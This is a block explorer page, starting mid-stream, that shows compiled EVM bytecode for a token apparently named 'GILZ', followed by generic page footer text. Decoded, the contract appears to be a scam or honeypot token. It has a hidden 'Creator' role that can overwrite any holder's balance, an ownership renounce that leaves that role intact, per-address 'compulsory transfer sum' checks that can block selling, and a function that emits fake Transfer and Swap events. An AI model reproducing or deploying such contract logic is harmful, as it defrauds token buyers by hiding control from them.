f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b6000612251602683611674565b915061225c826121f5565b604082019050919050565b6000602082019050818103600083015261228081612244565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006122bd601b83611674565b91506122c882612287565b602082019050919050565b600060208201905081810360008301526122ec816122b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000612358601983611674565b915061236382612322565b602082019050919050565b600060208201905081810360008301526123878161234b565b9050919050565b60006040820190506123a36000830185611839565b6123b06020830184611839565b9392505050565b60006123c28261178d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123f4576123f3611da2565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612435601483611674565b9150612440826123ff565b602082019050919050565b6000602082019050818103600083015261246481612428565b9050919050565b60006060820190506124806000830186611863565b61248d6020830185611863565b61249a6040830184611839565b949350505050565b6124ab81611803565b81146124b657600080fd5b50565b6000815190506124c8816124a2565b92915050565b6000602082840312156124e4576124e3611725565b5b60006124f2848285016124b9565b91505092915050565b6000819050919050565b6000819050919050565b600061252a612525612520846124fb565b612505565b61178d565b9050919050565b61253a8161250f565b82525050565b60006080820190506125556000830187611839565b6125626020830186612531565b61256f6040830185612531565b61257c6060830184611839565b9594505050505056fea2646970667358221220a8c0de3340cd77647250e36f978130a91218e690b0e146315849922e81b41fdc64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063b6f467b01161007c578063b6f467b01461037e578063d28d8852146103ae578063d731fa0c146103cc578063dd62ed3e146103e8578063e156b1b614610418578063feec5e4c146104485761014d565b8063715018a6146102ce578063893d20e8146102d857806390ea4310146102f657806395d89b4114610312578063a9059cbb14610330578063b09f1266146103605761014d565b806323b872dd1161011557806323b872dd146101fa578063313ce5671461022a57806332424aa31461024857806342966c68146102665780636aa535c11461028257806370a082311461029e5761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a05780631ddf7201146101be57806322f4596f146101dc575b600080fd5b61015a610478565b60405161016791906116f9565b60405180910390f35b61018a600480360381019061018591906117c3565b6104b5565b604051610197919061181e565b60405180910390f35b6101a86105b5565b6040516101b59190611848565b60405180910390f35b6101c66105d8565b6040516101d39190611872565b60405180910390f35b6101e4610602565b6040516101f19190611848565b60405180910390f35b610214600480360381019061020f919061188d565b610621565b604051610221919061181e565b60405180910390f35b6102326108f9565b60405161023f91906118fc565b60405180910390f35b610250610902565b60405161025d91906118fc565b60405180910390f35b610280600480360381019061027b9190611917565b610907565b005b61029c60048036038101906102979190611944565b610a45565b005b6102b860048036038101906102b39190611944565b610b05565b6040516102c59190611848565b60405180910390f35b6102d6610b4e565b005b6102e0610c8a565b6040516102ed9190611872565b60405180910390f35b610310600480360381019061030b9190611ab9565b610cb3565b005b61031a610eff565b60405161032791906116f9565b60405180910390f35b61034a600480360381019061034591906117c3565b610f3c565b604051610357919061181e565b60405180910390f35b610368611151565b60405161037591906116f9565b60405180910390f35b61039860048036038101906103939190611bd8565b61118a565b6040516103a5919061181e565b60405180910390f35b6103b66113d8565b6040516103c391906116f9565b60405180910390f35b6103e660048036038101906103e19190611d02565b611411565b005b61040260048036038101906103fd9190611d62565b61151f565b60405161040f9190611848565b60405180910390f35b610432600480360381019061042d919061188d565b6115a6565b60405161043f919061181e565b60405180910390f35b610462600480360381019061045d9190611944565b611618565b60405161046f9190611848565b60405180910390f35b60606040518060400160405280600481526020017f47494c5a00000000000000000000000000000000000000000000000000000000815250905090565b600081600260006104c4611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661055e611661565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105a39190611848565b60405180910390a36001905092915050565b60006012600a6105c59190611f04565b620f42406105d39190611f4f565b905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6012600a6106109190611f04565b620f424061061e9190611f4f565b81565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066d611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e090611fdd565b60405180910390fd5b60006106f485611618565b9050600081111561074257808314610741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073890612049565b60405180910390fd5b5b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107919190612069565b9250508190555082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107e7919061209d565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610838611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108819190612069565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108e59190611848565b60405180910390a360019150509392505050565b60006012905090565b601281565b8060016000610914611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790612143565b60405180910390fd5b806001600061099d611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109e69190612069565b925050819055506109f5611661565b73ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb682604051610a3a9190611848565b60405180910390a250565b610a4d611661565b73ffffffffffffffffffffffffffffffffffffffff16610a6b610c8a565b73ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906121d5565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b56611661565b73ffffffffffffffffffffffffffffffffffffffff16610b74610c8a565b73ffffffffffffffffffffffffffffffffffffffff1614610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc1906121d5565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd81bd8c8465c218710a8216cb2d4721e7d02987128497ddeda5fa0e32923b15c60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cbb611661565b73ffffffffffffffffffffffffffffffffffffffff16610cd96105d8565b73ffffffffffffffffffffffffffffffffffffffff1614610d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2690612267565b60405180910390fd5b6000811015610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a906122d3565b60405180910390fd5b60005b8251811015610efa576000838281518110610d9457610d936122f3565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e049061236e565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fb99c825fc6f583f12f18fc98a225f053b1685c6c591f58201fa0ba8b39d810078286604051610edd92919061238e565b60405180910390a250508080610ef2906123b7565b915050610d76565b505050565b60606040518060400160405280600481526020017f47494c5a00000000000000000000000000000000000000000000000000000000815250905090565b60008160036000610f4b611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe9061244b565b60405180910390fd5b6000610fd9610fd4611661565b611618565b9050600081111561102757808314611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90612049565b60405180910390fd5b5b8260036000611034611661565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461107d9190612069565b9250508190555082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d3919061209d565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110f9611661565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113e9190611848565b60405180910390a3600191505092915050565b6040518060400160405280600481526020017f47494c5a0000000000000000000000000000000000000000000000000000000081525081565b600080600090505b85518110156113ca578581815181106111ae576111ad6122f3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611217576112166122f3565b5b602002602001015160405161122c9190611848565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110611263576112626122f3565b5b60200260200101518987858151811061127f5761127e6122f3565b5b60200260200101516040518463ffffffff1660e01b81526004016112a59392919061246b565b6020604051808303816000875af11580156112c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e891906124ce565b508581815181106112fc576112fb6122f3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110611379576113786122f3565b5b6020026020010151600080898781518110611397576113966122f3565b5b60200260200101516040516113af9493929190612540565b60405180910390a380806113c2906123b7565b915050611192565b506001905095945050505050565b6040518060400160405280600481526020017f47494c5a0000000000000000000000000000000000000000000000000000000081525081565b611419611661565b73ffffffffffffffffffffffffffffffffffffffff166114376105d8565b73ffffffffffffffffffffffffffffffffffffffff161461148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490612267565b60405180910390fd5b60005b838390508110156115195781600460008686858181106114b3576114b26122f3565b5b90506020020160208101906114c89190611944565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611511906123b7565b915050611490565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116059190611848565b60405180910390a3600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a3578082015181840152602081019050611688565b60008484015250505050565b6000601f19601f8301169050919050565b60006116cb82611669565b6116d58185611674565b93506116e5818560208601611685565b6116ee816116af565b840191505092915050565b6000602082019050818103600083015261171381846116c0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061175a8261172f565b9050919050565b61176a8161174f565b811461177557600080fd5b50565b60008135905061178781611761565b92915050565b6000819050919050565b6117a08161178d565b81146117ab57600080fd5b50565b6000813590506117bd81611797565b92915050565b600080604083850312156117da576117d9611725565b5b60006117e885828601611778565b92505060206117f9858286016117ae565b9150509250929050565b60008115159050919050565b61181881611803565b82525050565b6000602082019050611833600083018461180f565b92915050565b6118428161178d565b82525050565b600060208201905061185d6000830184611839565b92915050565b61186c8161174f565b82525050565b60006020820190506118876000830184611863565b92915050565b6000806000606084860312156118a6576118a5611725565b5b60006118b486828701611778565b93505060206118c586828701611778565b92505060406118d6868287016117ae565b9150509250925092565b600060ff82169050919050565b6118f6816118e0565b82525050565b600060208201905061191160008301846118ed565b92915050565b60006020828403121561192d5761192c611725565b5b600061193b848285016117ae565b91505092915050565b60006020828403121561195a57611959611725565b5b600061196884828501611778565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6119ae826116af565b810181811067ffffffffffffffff821117156119cd576119cc611976565b5b80604052505050565b60006119e061171b565b90506119ec82826119a5565b919050565b600067ffffffffffffffff821115611a0c57611a0b611976565b5b602082029050602081019050919050565b600080fd5b6000611a35611a30846119f1565b6119d6565b90508083825260208201905060208402830185811115611a5857611a57611a1d565b5b835b81811015611a815780611a6d8882611778565b845260208401935050602081019050611a5a565b5050509392505050565b600082601f830112611aa057611a9f611971565b5b8135611ab0848260208601611a22565b91505092915050565b60008060408385031215611ad057611acf611725565b5b600083013567ffffffffffffffff811115611aee57611aed61172a565b5b611afa85828601611a8b565b9250506020611b0b858286016117ae565b9150509250929050565b600067ffffffffffffffff821115611b3057611b2f611976565b5b602082029050602081019050919050565b6000611b54611b4f84611b15565b6119d6565b90508083825260208201905060208402830185811115611b7757611b76611a1d565b5b835b81811015611ba05780611b8c88826117ae565b845260208401935050602081019050611b79565b5050509392505050565b600082601f830112611bbf57611bbe611971565b5b8135611bcf848260208601611b41565b91505092915050565b600080600080600060a08688031215611bf457611bf3611725565b5b6000611c0288828901611778565b955050602086013567ffffffffffffffff811115611c2357611c2261172a565b5b611c2f88828901611a8b565b945050604086013567ffffffffffffffff811115611c5057611c4f61172a565b5b611c5c88828901611baa565b935050606086013567ffffffffffffffff811115611c7d57611c7c61172a565b5b611c8988828901611baa565b9250506080611c9a88828901611778565b9150509295509295909350565b600080fd5b60008083601f840112611cc257611cc1611971565b5b8235905067ffffffffffffffff811115611cdf57611cde611ca7565b5b602083019150836020820283011115611cfb57611cfa611a1d565b5b9250929050565b600080600060408486031215611d1b57611d1a611725565b5b600084013567ffffffffffffffff811115611d3957611d3861172a565b5b611d4586828701611cac565b93509350506020611d58868287016117ae565b9150509250925092565b60008060408385031215611d7957611d78611725565b5b6000611d8785828601611778565b9250506020611d9885828601611778565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611e2857808604811115611e0457611e03611da2565b5b6001851615611e135780820291505b8081029050611e2185611dd1565b9450611de8565b94509492505050565b600082611e415760019050611efd565b81611e4f5760009050611efd565b8160018114611e655760028114611e6f57611e9e565b6001915050611efd565b60ff841115611e8157611e80611da2565b5b8360020a915084821115611e9857611e97611da2565b5b50611efd565b5060208310610133831016604e8410600b8410161715611ed35782820a905083811115611ece57611ecd611da2565b5b611efd565b611ee08484846001611dde565b92509050818404811115611ef757611ef6611da2565b5b81810290505b9392505050565b6000611f0f8261178d565b9150611f1a836118e0565b9250611f477fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611e31565b905092915050565b6000611f5a8261178d565b9150611f658361178d565b9250828202611f738161178d565b91508282048414831517611f8a57611f89611da2565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc7601983611674565b9150611fd282611f91565b602082019050919050565b60006020820190508181036000830152611ff681611fba565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000612033602083611674565b915061203e82611ffd565b602082019050919050565b6000602082019050818103600083015261206281612026565b9050919050565b60006120748261178d565b915061207f8361178d565b925082820390508181111561209757612096611da2565b5b92915050565b60006120a88261178d565b91506120b38361178d565b92508282019050808211156120cb576120ca611da2565b5b92915050565b7f496e73756666696369656e742062616c616e636520746f206275726e20746f6b60008201527f656e730000000000000000000000000000000000000000000000000000000000602082015250565b600061212d602383611674565b9150612138826120d1565b604082019050919050565b6000602082019050818103600083015261215c81612120565b9050919050565b7f556e617574686f72697a65643a204578636c7573697665204f776e657220616360008201527f636573732072657175697265642e000000000000000000000000000000000000602082015250565b60006121bf602e83611674565b91506121ca82612163565b604082019050919050565b600060208201905081810360008301526121ee816121b2565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b6000612251602683611674565b915061225c826121f5565b604082019050919050565b6000602082019050818103600083015261228081612244565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006122bd601b83611674565b91506122c882612287565b602082019050919050565b600060208201905081810360008301526122ec816122b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000612358601983611674565b915061236382612322565b602082019050919050565b600060208201905081810360008301526123878161234b565b9050919050565b60006040820190506123a36000830185611839565b6123b06020830184611839565b9392505050565b60006123c28261178d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123f4576123f3611da2565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000612435601483611674565b9150612440826123ff565b602082019050919050565b6000602082019050818103600083015261246481612428565b9050919050565b60006060820190506124806000830186611863565b61248d6020830185611863565b61249a6040830184611839565b949350505050565b6124ab81611803565b81146124b657600080fd5b50565b6000815190506124c8816124a2565b92915050565b6000602082840312156124e4576124e3611725565b5b60006124f2848285016124b9565b91505092915050565b6000819050919050565b6000819050919050565b600061252a612525612520846124fb565b612505565b61178d565b9050919050565b61253a8161250f565b82525050565b60006080820190506125556000830187611839565b6125626020830186612531565b61256f6040830185612531565b61257c6060830184611839565b9594505050505056fea2646970667358221220a8c0de3340cd77647250e36f978130a91218e690b0e146315849922e81b41fdc64736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.